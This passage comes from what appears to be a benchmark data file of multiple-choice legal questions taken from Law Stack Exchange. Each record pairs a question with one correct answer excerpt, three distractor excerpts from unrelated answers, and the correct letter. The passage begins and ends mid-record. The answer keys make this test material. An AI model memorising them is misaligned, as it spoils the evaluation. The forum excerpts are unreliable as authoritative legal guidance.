elsewhere. By statutory and regulatory volume, the vast majority of statutory and regulatory law is applicable..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/48885/was-it-illegal-for-nancy-pelosi-to-tear-up-her-copy-of-the-state-of-the-union-ad"} {"id": "law_84286", "domain": "law", "question_title": "Could a British monarch "go full dictator" if they wish to do so?", "question_body": "Queen Elizabeth II was generally nice and didn't abuse her power. But could her successor do otherwise and \"go full dictator\", in theory? Would he have enough legal powers to do so? Admittedly, dictators are not known for playing by the book, but they often start out in a lawful or a \"semi-lawful\" fashion. To what extent, if I put it another way, does the British democracy rely on solid legal checks and balances, not on the monarch's goodwill? Considering the UK's uncodified constitution, which is not really there, one may start to have some doubts about it.", "question_score": 38, "question_tags": ["united-kingdom", "monarchy"], "choices": {"A": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "B": "No Parliament is sovereign : Parliamentary sovereignty is a principle of the UK constitution. It makes Parliament the supreme legal authority in the UK, which can create or end any law. Generally, the courts cannot overrule its legislation and no Parliament can pass laws that future Parliaments cannot change . Parliamentary sovereignty is the most important part of the UK constitution.", "C": "The third Geneva convention says in its second article (emphasis added): the present Convention shall apply to all cases of declared war or of any other armed conflict which may arise between two or more of the High Contracting Parties, even if the state of war is not recognized by one of them. The Convention shall also apply to all cases of partial or total occupation of the territory of a High Contracting Party, even if the said occupation meets with no armed resistance. The violence in Ukraine qualifies for at least two reasons: it is an armed conflict between...", "D": "Parliamentary Supremacy was established by the Glorious Revolution of 1688 in which James II & VII was deposed by Parliament, and the line of succession was changed by Act of Parliament to favor William and Mary. Key laws passed during the aftermath of the Revolution included the Declaration of Right (which forbade keeping a standing army without Parliamentary consent, and put control of the military in Parliament), and the Coronation Oath Act 1688 which established in law obligations of the monarch. Since 1688 it has remained the governing principle of English (later British and UK) law that ultimate authority lies..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/84286/could-a-british-monarch-go-full-dictator-if-they-wish-to-do-so"} {"id": "law_16060", "domain": "law", "question_title": "Does being engaged (to be married) carry any legal significance?", "question_body": "Being married carries specific legal consequences, e.g. spouses typically are treated differently under tax law, divorce property law, inheritance law, have rights regarding medical visitation and medical decisions. Sometimes insurance carriers treat them differently, though i'm unsure if that's legally mandated or just standard practice. Absent a specific signed engagement contract which stipulates specific legal ramifications, does being engaged (to be married) carry any legal significance ? Jurisdiction is either USA, or France (I'm interested in both). Significance may be to either party of the engagement, or to third parties (e.g. in how they have to treat engaged partner, or the couple, differently). Just to be clear, consequences must stem from the fact of engagement, NOT from things like co-habitation, being declared \"domestic partners\" etc...", "question_score": 37, "question_tags": ["united-states", "france", "marriage"], "choices": {"A": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "B": "You are allowed to ask the police whatever questions you like. There is an upper limit that you can't refuse to obey a lawful order on the premise that you want to ask a bunch of questions, but they don't seem to have ordered you to do anything, so you can ask away. They have no obligation to tell you anything or to be truthful, except for certain questions like \"am I free to go\" when you want to leave and are testing whether you are under arrest. Even then they don't have to answer your questions right away. The...", "C": "There are only a few areas of law of which I am aware that U.S. law treats people who are engaged to be married differently (although perhaps with more thought I could expand the list). Fiance(e)s come under a special immigration status when applying for a visa. There is a body of law related to whether an engagement ring is an absolute gift or is conditional upon being married (this is not uniform from state to state and I don't recall what the majority rule in those cases is under the common law). In South Carolina , ownership disputes over...", "D": "A few possible reasons it could be illegal (on an issue spotting basis, not a careful analysis of each possible reason): The EO is intended to discriminate on the basis of religion and in fact does so in violation of the 1st Amendment to the United States Constitution. The EO is intended to unlawfully discriminate based upon race or ethnicity in violation of U.S. statutes or the 14th Amendment. The EO was adopted without observing the notice and hearing requirements of the Administrative Procedure Act. The EO took effect prematurely because it was not duly published in the Federal Register..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/16060/does-being-engaged-to-be-married-carry-any-legal-significance"} {"id": "law_62103", "domain": "law", "question_title": "What crime is hiring someone to kill you and then killing the hitman?", "question_body": "Suppose that yesterday I was suicidal and decided to hire a hitman on the internet to kill me. Today, when they turn up, I have changed my mind and defend myself by killing the hitman. What crime(s) have I committed? This is completely hypothetical, so any jurisdiction would be interesting.", "question_score": 37, "question_tags": ["murder", "self-defense", "suicide"], "choices": {"A": "Yes, it's illegal You are missing something terribly important: The package might not be your property [yet]. In any way, it is not in your possession, while it is in the hands of the postal service! The contents of the package started fully owned by the sender and were entrusted to the postal service to deliver it. This entrustment is (contractually) defined as the time it is handed to the postal service, but the postal service does not gain any ownership. They do however have insurance on the parcel (to some degree), as they are liable for the loss of...", "B": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "C": "It appears you want to go for a defense strategy based on a self-defense argument. This won't work in many jurisdictions, because self-defense usually doesn't apply when you intentionally caused a situation where you knew you would have to harm someone in self-defense. Similar case: Bob regularly mugs old women in the park by threatening them with a gun. Charlie finds out and wants to stop him. But instead of reporting it to the police, he wants to take care of this himself. Charlie get a gun, dresses up as an old woman and waits in the park. When Bob...", "D": "Why it is considered as terrorism to murder a CEO? It's not, as such. That is, CEOs do not have special status under New York or Federal law that would inherently make murdering them terroristic. Brian Thompson having been a CEO is not directly relevant to Mangione being charged with terrorism. I doubt that many people are intimidated or frightened by the murderer of the CEO, let alone an intention to influence policy or conduct of the government. I think your doubt is misplaced, but it is in any case irrelevant whether Mangione's alleged actions were effective in intimidating or..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/62103/what-crime-is-hiring-someone-to-kill-you-and-then-killing-the-hitman"} {"id": "law_65396", "domain": "law", "question_title": "Stop, in the name of the law", "question_body": "Does the popular media cliche Stop, in the name of the law have any founding in actual law or policing practice, either current or historical? Did police ever say this as a matter of course? If so why? If not where did this expression enter the popular consciousness?", "question_score": 37, "question_tags": ["police", "media"], "choices": {"A": "A few possible reasons it could be illegal (on an issue spotting basis, not a careful analysis of each possible reason): The EO is intended to discriminate on the basis of religion and in fact does so in violation of the 1st Amendment to the United States Constitution. The EO is intended to unlawfully discriminate based upon race or ethnicity in violation of U.S. statutes or the 14th Amendment. The EO was adopted without observing the notice and hearing requirements of the Administrative Procedure Act. The EO took effect prematurely because it was not duly published in the Federal Register...", "B": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "C": "In long ago English practice, the phrase used was \" Stop in the name of the King \". At one time this was, if I am not mistaken, required for a valid arrest. I am talking about a time hundreds of years ago, by the way. That phrase, in turn, goes back to a still older concept. At one time, in Germanic customary law, each important leader had a \"peace\" -- an area in and around his dwelling, domain, and presence -- in which any violation of law and custom was an offense against the leader, not just against a...", "D": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/65396/stop-in-the-name-of-the-law"} {"id": "law_80245", "domain": "law", "question_title": "Can I use my own Stack Exchange answer in a book?", "question_body": "I’ve seen some similar questions, but was wondering about a more specific case. I wrote a Stack Exchange answer, and would like to use it in one section of a book I’m writing (which will be commercially sold). I also modified the answer, and added to it, but some original passages remain. I’m wondering if, as the author, and with proper attribution that the section is based on my Stack Exchange answer, with a link, this is legally acceptable?", "question_score": 37, "question_tags": ["united-states", "copyright"], "choices": {"A": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "B": "Yes, that’s allowed. Under the Stack Exchange terms of service , content you upload is licensed to Stack Exchange Inc. on a non-exclusive basis under CC-BY-SA 4.0. The terms of service do not give Stack Exchange the copyright to your contributions, and a non-exclusive license means you are not promising Stack Exchange that “only Stack Exchange will be allowed to use this content.” That means you can continue to do whatever you want with your own content and do not need to mention Stack Exchange at all. The only restriction is that you can’t stop Stack Exchange from continuing to...", "C": "Powers What power do I have as a driver if my interstate route is blocked by a protest? As an ordinary citizen, no powers in most jurisdictions. You have the right to report obstruction of the highway to the local police. You likely have the right to sue those people if you have evidence of significant harm they have caused you. Right to Obstruct I feel like ethically no one has the right to obstruct my travel You are wrong to put this in absolute terms. For example, a roadworker holding a \"stop\" sign has the right to temporarily obstruct...", "D": "My impression, and the plausible explanation in the absence of the actual facts, is that this was something that the attorney agreed to, in order to allow a skittish client to reveal information pursuant to a favorable plea agreement. The police probably insisted that the client be handcuffed to someone while doing this to prevent the client from fleeing. The attorney probably offered to do the job instead of a police officer, to be able to provide advice to his client and keep his client calm enough to do it, which might not have happened (sacrificing the favorable plea deal..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/80245/can-i-use-my-own-stack-exchange-answer-in-a-book"} {"id": "law_94333", "domain": "law", "question_title": "Is it legal for a train company to create an art gallery using photographs of the graffiti on their locomotives and train cars?", "question_body": "I have been wondering that since a train company owns its locomotives and train cars, then I am assuming that this means that they own any graffiti that has been painted on their locomotives and train cars. I have recently read that it is illegal for someone to put graffiti on any train company equipment, since it is an act of vandalism, so this makes me think that that any graffiti artist(s) who created graffiti on train equipment cannot get a copyright(s) on the graffiti that they put on train equipment. If the graffiti thus belongs to the train company, then I am assuming that this means that the train company automatically owns the copyright(s) to this graffiti, and they would thus be free to take photographs of this graffiti and could display and/or sell these photographs to the general public, if they wanted to do so. Is it legal for a train company to create an art gallery using photographs of the graffiti on their locomotives and train cars?", "question_score": 37, "question_tags": ["united-states", "copyright", "intellectual-property", "business", "property"], "choices": {"A": "Yes, their waiver has no legal basis and is invalid under the GDPR. They should have hired a better lawyer. GDPR rights cannot be waived ( mrllp.com ). The last bit should have been: Therefore, in consideration of my participation in any project, I understand that retaining my name and email address, as described above, does not require my consent and that the right of erasure, as spelled out in the GDRP Article 17 (1) b does not apply. The legal basis for our lawful processing of this personal data is Article 6 (1) f (\"processing is necessary for the...", "B": "I believe you have just misunderstood what you paid for. Blizzard's End User License Agreement says: Your use of the Platform is licensed, not sold, to you, and you hereby acknowledge that no title or ownership with respect to the Platform or the Games is being transferred or assigned and this Agreement should not be construed as a sale of any rights. It also says: Blizzard may change, modify, suspend, or discontinue any aspect of the Platform or Accounts at any time, including removing items, or revising the effectiveness of items in an effort to balance a Game. Blizzard may...", "C": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "D": "Copyright law doesn't say the art isn't copyrighted if it was made unlawfully. It seems the art can be copyrighted and the act of making it can be a criminal offence. I'm not aware of any such copyright cases that have gone to trial. A fairly well known case that settled out of court is that of Jason “Revok” Williams and H&M. Williams noticed his art in a photograph used in an H&M marketing campaign. His lawyer sent a cease-and-desist letter to H&M. In response, H&M applied for a court order stating that the product of an unlawful act could..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/94333/is-it-legal-for-a-train-company-to-create-an-art-gallery-using-photographs-of-th"} {"id": "law_3708", "domain": "law", "question_title": "Can "Dumb Starbucks" be legally considered Fair Use as satire or parody?", "question_body": "About a year ago, a new, familiar-looking coffee shop opened in LA. Their reasoning for this was, basically, that it's making fun of the popular coffeehouse chain and is thus fair use: Naturally, it attracted a lot of attention and was later revealed that it was really a publicity stunt created by a comedian, but he still made a statement that \"as long as we're making fun of Starbucks, we're allowed to use their corporate identity\" (as seen here ). Had Starbucks sued for trademark infringement (which they probably planned to do , but the thing was actually closed for operating without a valid public health permit ), would the whole parody as fair use thing hold in court (or at least have some relevance in the case)?", "question_score": 36, "question_tags": ["trademark", "fair-use"], "choices": {"A": "The Plan For A Clearly Guilty Client Without Bargaining Power This question underestimates how much of a criminal defense lawyer's work involves sentencing rather than a determination of guilt or innocence. Suppose as the OP does that the prosecution can easily prove beyond a reasonable doubt that your client is guilty, you client has no plausible defenses, and the prosecutor won't budge on a plea. As a criminal defense lawyer, you may well advise your client that there is no percentage in fighting guilt on the charges, and have your client plea guilty. This prevents the prosecutor from spelling out...", "B": "In the case of United States vs Wong Kim Ark 169 U.S. 649 (1898) (a 6-2 decision), the Supreme Court wrote: [T]he real object of the Fourteenth Amendment of the Constitution, in qualifying the words, \"All persons born in the United States\" by the addition \"and subject to the jurisdiction thereof,\" would appear to have been to exclude, by the fewest and fittest words (besides children of members of the Indian tribes, standing in a peculiar relation to the National Government, unknown to the common law), the two classes of cases -- children born of alien enemies in hostile occupation...", "C": "This is likely not fair use. At first blush it appeared similar to things one might see in The Onion (parody print and online newspaper) or other parody publications or shows (SNL, Key and Peele, etc.). In this case, the context would have likely been deemed transformative. However, since they are selling coffee called \"Dumb Starbucks\" while using their trademark, they would be be found liable if sued. You can parody a trademark brand, so long as the work is transformative such that the use of the brand goes from selling coffee to making a commentary in which the brand...", "D": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/3708/can-dumb-starbucks-be-legally-considered-fair-use-as-satire-or-parody"} {"id": "law_36546", "domain": "law", "question_title": "Why would someone get a fine when using a disabled parking space when the disabled person is not in the car?", "question_body": "An article in LA Times about someone parking on a disabled parking space without the disabled person being in the car: (...) I saw a woman pull into a disabled parking space and begin to exit her car. Two men in plain clothes flashed badges as they approached the car. One of them asked to see the registration slip that went with the disabled placard that hung from the driver’s rearview mirror. It turned out that the placard was in the name of her son, but he wasn’t in the car. So the officers confiscated the placard, which her son will have to reapply for, and wrote her a citation. I have a hard time understanding how one can get a citation for this? My wife is disabled (in France, so the laws may vary) and I sometimes park, alone, in the disabled spot in order to bring her to the car (or wait for her to come) . The disabled parking space is there to help disabled people, when they arrive to the place, but also when they leave from it. Both do not always happen in sequence (I can drop someone off, or wait for someone to get to the car). I would be ideally interested in a French (or EU) perspective (but still keeping it open as the article is from the US)", "question_score": 36, "question_tags": ["united-states", "driving", "france", "disabilities"], "choices": {"A": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use...", "B": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "C": "at what point can you just leave? Is it always technically illegal in the UK to leave without paying the bill? Probably depends on what you mean with just leaving. If just leaving translates I haven't paid and I won't pay (because of the hassle with the card) then that's probably Making Off Without Payment, section 3 Theft Act 1978 (Thanks @bdsl). Could the restaurant just force you to wait until close of business if necessary? What if they still hadn't fixed the payment system by then? I don't think a restaurant can physically detain you. Not even the 45...", "D": "There is a history of \"giving away patents\", which allows the original grantor to foster innovation instead of stifle it. Here are some examples: Sealand Industries - ISO Shipping Container Patented the standard shipping container, then gave away the patent royalty free, allowing a revolution in ocean going shipping. Annually it is estimated that $440 billion are shipped through these containers. Tesla - 200+ patents Elon Musk announced that the company \"will not initiate patent lawsuits against anyone who, in good faith, wants to use our technology.\" . Toyota - Hydrogen Fuel Cell Patents Released 5,680 patents related to hydrogen..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/36546/why-would-someone-get-a-fine-when-using-a-disabled-parking-space-when-the-disabl"} {"id": "law_37912", "domain": "law", "question_title": "What is the purpose of a disclaimer like "this is not legal advice"?", "question_body": "If someone who is not a lawyer is giving out legal advice, does it make any difference if they include a disclaimer along the lines of \"this is not legal advice\"? For the purposes of this question, I assume legal advice means one party instructing another party on how to comply with laws (like a consultant might do). Do they disclaim some kind of liability? Do they merely avoid suggesting they are lawyers when they're not?", "question_score": 36, "question_tags": ["european-union", "germany", "lawyer", "disclaimers", "unlicensed-practice"], "choices": {"A": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use...", "B": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "C": "Not going to hold up. Dutch Supreme Court confirmed 2012-09-21 in LJN BW6135 that arbitration is still covered by the the right to an independent judge, as established in Golder v UK , ECHR 1975-02-21, nr. 4451/70. Stack Exchange can't decide the rules themselves. (The Dutch case confirms that sector-wide arbitration is in fact legal, with regard to a standard arbitration clause commonly used in the Dutch building sector. The arbiter was found to be independent in that case precisely because they weren't picked by the builder involved.) The GDPR is only indirectly relevant, but the fact that it's mentioned...", "D": "In most jurisdictions, practicing law without a bar license is a serious offence, which, inter alia, is the primary reason why a non-lawyer would use this disclaimer. Lawyers also use this disclaimer to avoid any 'constructive implication' of attorney-client relationship."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/37912/what-is-the-purpose-of-a-disclaimer-like-this-is-not-legal-advice"} {"id": "law_49367", "domain": "law", "question_title": "Is it legal to crack MD5 hashes?", "question_body": "I saw a website that involves programming problems. One problem asks to write a program that finds a string whose MD5 hash is given. Is it criminal to crack the MD5 hash by finding those strings?", "question_score": 36, "question_tags": ["software", "hacking"], "choices": {"A": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against...", "B": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "C": "Technically anyone can sit on a jury. Lawyers are not automatically excluded from juries anymore, as being called for jury duty is a right and a duty that the law abhors automatically excluding people from. That is the official line on this. However, in reality, lawyers will always be stricken from serving by one of the lawyers trying the case. Each lawyer has a certain number of preemptory strikes (the ability to get rid of a juror for any reason, aside from those protected by law, such as race, religion, etc). They also have unlimited \"for cause strikes,\" which are...", "D": "Is it criminal to find strings whose MD5 hash is known? No, unless the method or purpose involves gaining (or attempting to obtain) unauthorized access to others' computer systems or networks, or causing damage to them. This applies regardless of whether you program some brute-force algorithm rather or query a public [online] database that stores reverse hashes."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/49367/is-it-legal-to-crack-md5-hashes"} {"id": "law_86258", "domain": "law", "question_title": "Is it legal for Blizzard to completely shut down Overwatch 1 in order to replace it with Overwatch 2?", "question_body": "Overwatch (1) was a multiplayer first-person shooter video game created by Blizzard. It was released in 2016 and cost around 40€ . Earlier this year, Overwatch 1 was shut down : The servers are down. The game is not playable from the official Blizzard game launcher. It has been replaced by Overwatch 2 , which is considered its \"sequel\" by Blizzard and is free to play, but with very high-priced in-game cosmetics. I do not understand how this is considered a legal action for the following reasons: I paid 30/40 bucks for the right to own Overwatch 1 (did I?) and to play it. Overwatch 1, for which I paid, is now completely unusable for me, so the service (if not the product) I have paid for is now not available It is replaced by a free to play game (what happened to my 40 bucks) While playing OW1, I earned ingame credits which allowed me to purchase cosmetics (so, basically, I got those cosmetics in exchange for my time, not for my money). Those cosmetics have been \"transferred\" to OW2 and they now cost an insane amount of money (something like at least 10 dollars each, and there are a lot of them (purchasable and than I unlocked in OW1)). However, as I just said, I did not purchase the cosmetics, I (think I) purchased the product and the service provided to use it. Questions Did I pay for the right to own and play Overwatch 1, or just for the right to play it? Why is it legal (I assume, as they did it and I did not hear about some legal action taken to them for that) for Blizzard to shutdown completely (more like \"take away from customers\"?) a product and a service for which customers have paid? PS: I used the france and united-states tags as I am French and live in France and Blizzard Entertainment is a USA company.", "question_score": 36, "question_tags": ["united-states", "france", "service", "video-games"], "choices": {"A": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "B": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "C": "The answer from @user6726 is a good one. But, I'd like to add to it by pointing out that the body of law applicable to an individual is usually much, much smaller than the entire body of law. I'm a lawyer who has been in private practice for almost 25 years with an extremely diverse practice compared to the average lawyer, and I've never even looked at perhaps 80% of the laws on the books in the states where I practice, and even less elsewhere. By statutory and regulatory volume, the vast majority of statutory and regulatory law is applicable...", "D": "I believe you have just misunderstood what you paid for. Blizzard's End User License Agreement says: Your use of the Platform is licensed, not sold, to you, and you hereby acknowledge that no title or ownership with respect to the Platform or the Games is being transferred or assigned and this Agreement should not be construed as a sale of any rights. It also says: Blizzard may change, modify, suspend, or discontinue any aspect of the Platform or Accounts at any time, including removing items, or revising the effectiveness of items in an effort to balance a Game. Blizzard may..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/86258/is-it-legal-for-blizzard-to-completely-shut-down-overwatch-1-in-order-to-replace"} {"id": "law_106488", "domain": "law", "question_title": "Why is it considered terrorism to murder a CEO?", "question_body": "According to this article , Luigi Mangione got charged with terrorism for murdering the CEO. I am not sure why this murder can - under US law - be considered an act of terrorism. Here is a relevant page from NY penal law that defines terrorism: A person is guilty of a crime of terrorism when, with intent to intimidate or coerce a civilian population, influence the policy of a unit of government by intimidation or coercion, or affect the conduct of a unit of government by murder, assassination or kidnapping, he or she commits a specified offense. I doubt that many people are intimidated or frightened by the murderer of the CEO, let alone an intention to influence policy or conduct of the government. Did I overlook anything?", "question_score": 36, "question_tags": ["united-states", "murder", "terrorism"], "choices": {"A": "Why it is considered as terrorism to murder a CEO? It's not, as such. That is, CEOs do not have special status under New York or Federal law that would inherently make murdering them terroristic. Brian Thompson having been a CEO is not directly relevant to Mangione being charged with terrorism. I doubt that many people are intimidated or frightened by the murderer of the CEO, let alone an intention to influence policy or conduct of the government. I think your doubt is misplaced, but it is in any case irrelevant whether Mangione's alleged actions were effective in intimidating or...", "B": "An essential component of your contract with them is that they will provide you with food free of animal stuff (the exact nature of \"vegan approved\" may be up for debate, but actual meat should not be included). So they breached their contract with you, and you might sue them for breach of contract. The case of Gupta v. Asha (orders were mixed up) could be useful in this matter. In this case, Hindus were served samosas containing beef, despite repeated assertions that they were vegetarian. Plaintiffs sued, the case was dismissed, and the appeals court deemed that the lower...", "C": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "D": "A few possible reasons it could be illegal (on an issue spotting basis, not a careful analysis of each possible reason): The EO is intended to discriminate on the basis of religion and in fact does so in violation of the 1st Amendment to the United States Constitution. The EO is intended to unlawfully discriminate based upon race or ethnicity in violation of U.S. statutes or the 14th Amendment. The EO was adopted without observing the notice and hearing requirements of the Administrative Procedure Act. The EO took effect prematurely because it was not duly published in the Federal Register..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/106488/why-is-it-considered-terrorism-to-murder-a-ceo"} {"id": "law_743", "domain": "law", "question_title": "Do disclaimers need to be capitalized?", "question_body": "Are disclaimers of warranty, liability, and the like legally required to be in all-caps? For example, the \"disclaimer of warranty\" section from the GNU GPL : THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. On the other hand, Stack Exchange's disclaimer of warranty uses normal casing (well, normal for legal documents): Stack Exchange has no special relationship with or fiduciary duty to Subscriber. Subscriber acknowledges that Stack Exchange has no control over, and no duty to take any action regarding: which users gains access to the Network; which Content Subscriber accesses via the Network; what effects the Content may have on Subscriber; how...", "question_score": 35, "question_tags": ["united-states", "licensing", "disclaimers"], "choices": {"A": "Do they have to use all caps? Well, no. It's just that companies feel that's the easiest way to make the text \"conspicuous\" which is required by the Uniform Commercial Code explicitly in § 2-316. Exclusion or Modification of Warranties. (2)Subject to subsection (3), to exclude or modify the implied warranty of merchantability or any part of it the language must mention merchantability and in case of a writing must be conspicuous, and to exclude or modify any implied warranty of fitness the exclusion must be by a writing and conspicuous. Language to exclude all implied warranties of fitness is...", "B": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution...", "C": "I believe you have just misunderstood what you paid for. Blizzard's End User License Agreement says: Your use of the Platform is licensed, not sold, to you, and you hereby acknowledge that no title or ownership with respect to the Platform or the Games is being transferred or assigned and this Agreement should not be construed as a sale of any rights. It also says: Blizzard may change, modify, suspend, or discontinue any 